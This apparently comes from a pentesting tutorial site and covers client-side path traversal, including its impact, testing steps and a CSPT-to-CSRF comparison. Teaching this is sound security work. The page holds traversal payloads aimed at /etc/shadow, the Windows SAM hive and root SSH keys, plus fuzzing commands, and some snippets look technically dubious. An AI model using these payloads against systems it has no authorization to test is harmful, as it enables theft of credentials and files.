πŸ•΅οΈ
VeryLazyTech
πŸ“œ MediumπŸ›’ My ShopπŸ‘Ύ GithubπŸ“© Telegram πŸ“Ί YouTubeβœ– Twitter
  • πŸ•΅οΈWelcome!
    • VeryLazyTech
    • Support VeryLazyTech
      • πŸ‘Ύ GitHub
      • πŸ“œ Medium
      • β˜• My Shop
      • πŸ“Ί YouTube
      • βœ– Twitter
      • πŸ“© Telegram
  • πŸ›‘οΈ Vulnerabilities and Exploits
    • CVE - POC
      • Unauthenticated RCE Flaw in Rejetto HTTP File Server - CVE-2024-23692
      • POC - CVE-2024–4956 - Nexus Repository Manager 3 Unauthenticated Path Traversal
      • POC - CVE-2024-45241: Path Traversal in CentralSquare's CryWolf
      • Telerik Auth Bypass CVE-2024-4358
      • Check Point Security Gateways Information Disclosure - CVE-2024-24919
      • CVE-2024-23897 - Jenkins File Read Vulnerability
      • CVE-2024–10914- Command Injection Vulnerability in name parameter for D-Link NAS
      • POC - CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE)
      • CVE-2024-9935 - PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Unauthenticated Arbitrary
      • CVE-2024-50623- Cleo Unrestricted file upload and download
      • POC - WordPress File Upload plugin, in the wfu_file_downloader.php file before version <= 4.24.11
      • POC - Remote and unauthenticated attacker can send crafted HTTP requests to RCE - cve-2025-3248
      • POCβ€Š-β€ŠCVE-2025–2539 File Away <= 3.9.9.0.1β€Š-β€ŠMissing Authorization to Unauthenticated Arbitrary File
      • POC - CVE-2025-29306 FOXCMS /images/index.html Code Execution Vulnerability
  • πŸ•΅οΈβ€β™‚οΈDorks
    • GitHub Dorks
    • Google Dork Online Tool
  • πŸ“š Resources
    • Top Hacking Books for 2024: FREE and Paid
    • How to Study for OSCP with the PWK Book PDF
    • Top 20 phishing tools to use in 2024
    • Top 8 Bug Bounty Books for 2025: Must-Reads for Ethical Hackers
    • Top Hacking Tools and Skills You Need to Learn in 2025
    • Offensive Cloud
    • Penetration Testing & Hacking Tools List
    • Top Cybersecurity Books by Topic
  • The Ultimate Penetration Testing Methodology (2025 Edition)
  • πŸ•ΈοΈPentesting Web
    • Client Side Template Injection (CSTI)
    • Identify a Server’s Origin IP
    • 2FA/MFA/OTP Bypass
  • IDOR
  • Open Redirect
  • Subdomain Takeover
  • Penetration Testing WiFi Networks
  • Client-Side Path Traversal
  • Clickjacking
  • Command Injection
  • JWT Vulnerabilities
  • Bypass rating limit
  • CORS - Misconfigurations & Bypass
  • LDAP Injection
  • File upload vulnerabilities
  • Content Security Policy (CSP) bypass
  • 🐧Linux
    • Practical Linux Commands
    • Bypassing Bash Restrictions - Rbash
    • Privilege escalation - Linux
  • Linux Environment Variables
  • πŸͺŸWindows
    • Active Directory Methodology
  • 🌐Network Pentesting
    • FTP - Port 21
    • SSH- Port 22
    • Telnet - Port 23
    • SMTP/s - Port 25,465,587
    • WHOIS - Port 43
    • TACACS+ - Port 49
    • DNS - Port 53
    • TFTP/Bittorrent-tracker - Port 69/UDP
    • Finger - Port 79
    • Web - Port 80,443
    • Kerberos - Port 88
    • POP - Port 110/995
    • Portmapper - Port 111/TCP/UDP
    • Ident - Port 113
    • NTP - Port 123/UDP
    • MSRPC - Port 135, 539
    • NetBios - Port 137,138,139
    • SMB - Port 139 445
    • IMAP - Port 143, 993
    • SNMP - Ports 161, 162, 10161, and 10162/UDP
    • IRC - Ports 194,6667,6660-7000
    • Check Point Firewall - Port 264
    • LDAP - Ports 389, 636, 3268, 3269
    • IPsec/IKE VPN - Port 500/UDP
    • Modbus - Port 502
    • Rexec - Port 512
    • Rlogin - Port 513
    • Rsh - Port 514
    • Line Printer Daemon (LPD) - Port 515
    • Apple Filing Protocol (AFP) - PORT 548
    • RTSP - Port 554, 8554
    • IPMI - Port 623/UDP/TCP
    • Internet Printing Protocol (IPP) - Port 631
    • EPP - Port 700
    • Rsync - Port 873
    • Rusersd Service - Port 1026
    • Socks - Port 1080
    • Java RMI - RMI-IIOP - Port 1098/1099/1050
    • MSSQL (Microsoft SQL Server) - Port 1433
    • Oracle TNS Listener - Port 1521,1522-1529
  • PPTP - Port 1723
  • MQTT (Message Queuing Telemetry Transport) - Port 1883
  • Compaq HP Insight Manager - Port 2301, 2381
  • NFS Service - Port 2049
  • Docker - Port 2375,2376
  • Squid - Port 3128
  • iScsi - Port 3260
  • SAPRouter - Port 3299
  • 😎Post-exploitation
    • File Transfer Cheatsheet: Windows andΒ Linux
  • πŸ§‘β€πŸ”§Technical guides
    • Kali Linux - Installation
Powered by GitBook
On this page
  • Basic info
  • Impact of Client-Side Path Traversal Vulnerabilities
  • Description
  • Analyze Web Requests for File Paths
  • Inspect JavaScript for File Path Manipulation
  • Static Code Analysis
  • Testing for Path Traversal in File Requests
  • Manipulating Browser-Based File Access
  • Testing Web Storage (LocalStorage, SessionStorage)
  • Exploiting Weak Browser Security Policies
  • Automated Path Traversal Scanning
  • Nikto (Quick Scanner)
  • wfuzz (Path Traversal Fuzzing)
  • CSPT to CSRF

Was this helpful?

Client-Side Path Traversal

PreviousPenetration Testing WiFi NetworksNextClickjacking

Last updated 2 months ago

Was this helpful?

  • Become VeryLazyTech ! 🎁

  • Follow us on:

    • βœ– Twitter .

    • πŸ‘Ύ Github .

    • πŸ“œ Medium .

    • πŸ“Ί YouTube .

    • πŸ“© Telegram .

    • πŸ•΅οΈβ€β™‚οΈ My Site .

  • Visit our for e-books and courses. πŸ“š

Basic info

Client-side path traversal is a serious security vulnerability that occurs when an attacker manipulates file paths in web applications to gain unauthorized access to files stored on the client-side or server-side. Unlike traditional server-side path traversal attacks, client-side path traversal exploits weaknesses in web browsers, JavaScript, or local file access mechanisms. This flaw can lead to sensitive data exposure, code execution, and other security breaches.

In web applications, developers sometimes use client-side scripts to access and manipulate file paths dynamically. This can lead to vulnerabilities if user input is not properly sanitized. When a web application allows users to specify file paths without strict validation, an attacker can craft malicious inputs to access restricted files.

Common techniques include:

  • Modifying URL parameters to access unintended directories.

  • Tampering with JavaScript-based file access mechanisms.

  • Leveraging browser exploits to bypass security restrictions.

Impact of Client-Side Path Traversal Vulnerabilities

The consequences of a successful client-side path traversal attack can be severe:

  • Unauthorized access to files: Attackers can read sensitive local or remote files.

  • Cross-site scripting (XSS): Path traversal flaws can lead to XSS attacks when combined with improper JavaScript execution.

  • Local file inclusion (LFI): In some cases, attackers may execute malicious scripts by including unintended files.

  • Code execution: If exploited correctly, attackers may execute arbitrary code on the victim’s device.

Description

Nowadays, it is common to have a web application architecture with a back-end API and a dynamic front end such as React or Angular.

In this context, an attacker with control over the {USER_INPUT} value can perform a path traversal in order to route the victim’s request to another endpoint.

An attacker can coerce a victim into executing this unexpected request. This is the starting point of a Client-Side Path Traversal (CSPT).

A Client-Side Path Traversal can be split into two parts. The source is the trigger of the CSPT, while the sinks are the exploitable endpoints that can be reached by this CSPT.

In order to understand how we can use CSPT as an attack vector, both source and sink must be defined.


Analyze Web Requests for File Paths

Use Burp Suite, OWASP ZAP, or DevTools (F12 β†’ Network Tab) to inspect requests containing file paths.

  • Look for file parameters in URLs:

    https://example.com/getFile?path=/user/docs/report.pdf
  • Check if JavaScript fetches files:

    fetch("/api/getFile?name=report.pdf")

Inspect JavaScript for File Path Manipulation

Download all JavaScript files for analysis:

wget -r -A .js https://example.com/

Search for functions handling file paths:

grep -rnw '.' -e 'file'
grep -rnw '.' -e 'path'
grep -rnw '.' -e 'fetch'
grep -rnw '.' -e 'XMLHttpRequest'

If you find:

document.write('<img src="' + userInput + '">');

This may be vulnerable to path manipulation.


Static Code Analysis

If you have access to JavaScript files, search for dangerous functions:

grep -rnw '.' -e 'eval'
grep -rnw '.' -e 'document.write'
grep -rnw '.' -e 'innerHTML'
grep -rnw '.' -e 'window.location'

Example vulnerable code:

let file = getParameterByName("file"); 
window.location.href = "/documents/" + file;

Try modifying the parameter to escape directories:

file=../../../../etc/passwd
file=../../../../windows/win.ini

Testing for Path Traversal in File Requests

Modify File Path Parameters

Find URLs with file parameters and modify them.

Original request:

GET /download?file=user-report.pdf

Test with Path Traversal:

GET /download?file=../../../../etc/passwd
GET /download?file=../../../../windows/win.ini

If the response contains file contents, it's vulnerable!

Intercept Requests with Burp Suite

  • Open Burp Suite β†’ Proxy β†’ Intercept Request

  • Modify:

    file=../../../../etc/shadow
    file=../../../../etc/hosts

Automate Path Traversal Testing

Use ffuf to fuzz the file parameter:

ffuf -u "https://example.com/download?file=FUZZ" -w payloads.txt

Example payloads.txt:

../../../../etc/passwd
../../../../windows/system32/config/SAM
../../../../var/log/syslog
../../../../root/.ssh/id_rsa

Manipulating Browser-Based File Access

Try Loading Local Files

Open DevTools Console (F12) and run:

fetch("file:///etc/passwd")

If this succeeds, the application allows local file access.

Modify Fetch Requests in Console

If you find:

fetch("/files/user-data.json")

Test modifying it:

fetch("/files/../../../../etc/passwd")

Use XMLHttpRequest to Fetch Local Files

var xhttp = new XMLHttpRequest();
xhttp.open("GET", "../../../../etc/passwd", false);
xhttp.send();
console.log(xhttp.responseText);

Testing Web Storage (LocalStorage, SessionStorage)

Check for Stored File Paths

In DevTools Console (F12), run:

console.log(localStorage);
console.log(sessionStorage);
console.log(document.cookie);

Modify Stored Paths

If a file path is stored in localStorage, modify it:

localStorage.setItem('configPath', '../../../../etc/passwd');
sessionStorage.setItem('userFile', '../../../../windows/system32/config/SAM');

Then refresh the page and check if the file loads.


Exploiting Weak Browser Security Policies

Check Content Security Policy (CSP)

Open DevTools (F12) β†’ Network β†’ Headers Look for:

Content-Security-Policy: default-src 'self'

If it allows file:// URLs, it may be exploitable.

Inject JavaScript to Load Arbitrary Files

let script = document.createElement('script');
script.src = '../../../../etc/passwd';
document.body.appendChild(script);

Automated Path Traversal Scanning

Nikto (Quick Scanner)

nikto -h https://example.com

wfuzz (Path Traversal Fuzzing)

wfuzz -c -z file,wordlist.txt --hh 404 "https://example.com/download?file=FUZZ"

CSPT to CSRF

A CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens. This capability can potentially be exploited to circumvent existing CSRF protection measures.

CSRF
CSPT2CSRF

POST CSRF ?

βœ…

βœ…

Can control the body ?

βœ…

❌

Can work with anti-CSRF token ?

❌

βœ…

Can work with Samesite=Lax ?

❌

βœ…

GET / PATCH / PUT / DELETE CSRF ?

❌

βœ…

1-click CSRF ?

❌

βœ…

Does impact depend on source and on sinks ?

❌

βœ…

Support VeryLazyTech πŸŽ‰
  • Follow us on:

Learn & practice

Become VeryLazyTech ! 🎁

βœ– Twitter .

πŸ‘Ύ Github .

πŸ“œ Medium .

πŸ“Ί YouTube .

πŸ“© Telegram .

πŸ•΅οΈβ€β™‚οΈ My Site .

Visit our for e-books and courses. πŸ“š

member
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
shop
For the OSCP.
member
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
@VeryLazyTech
shop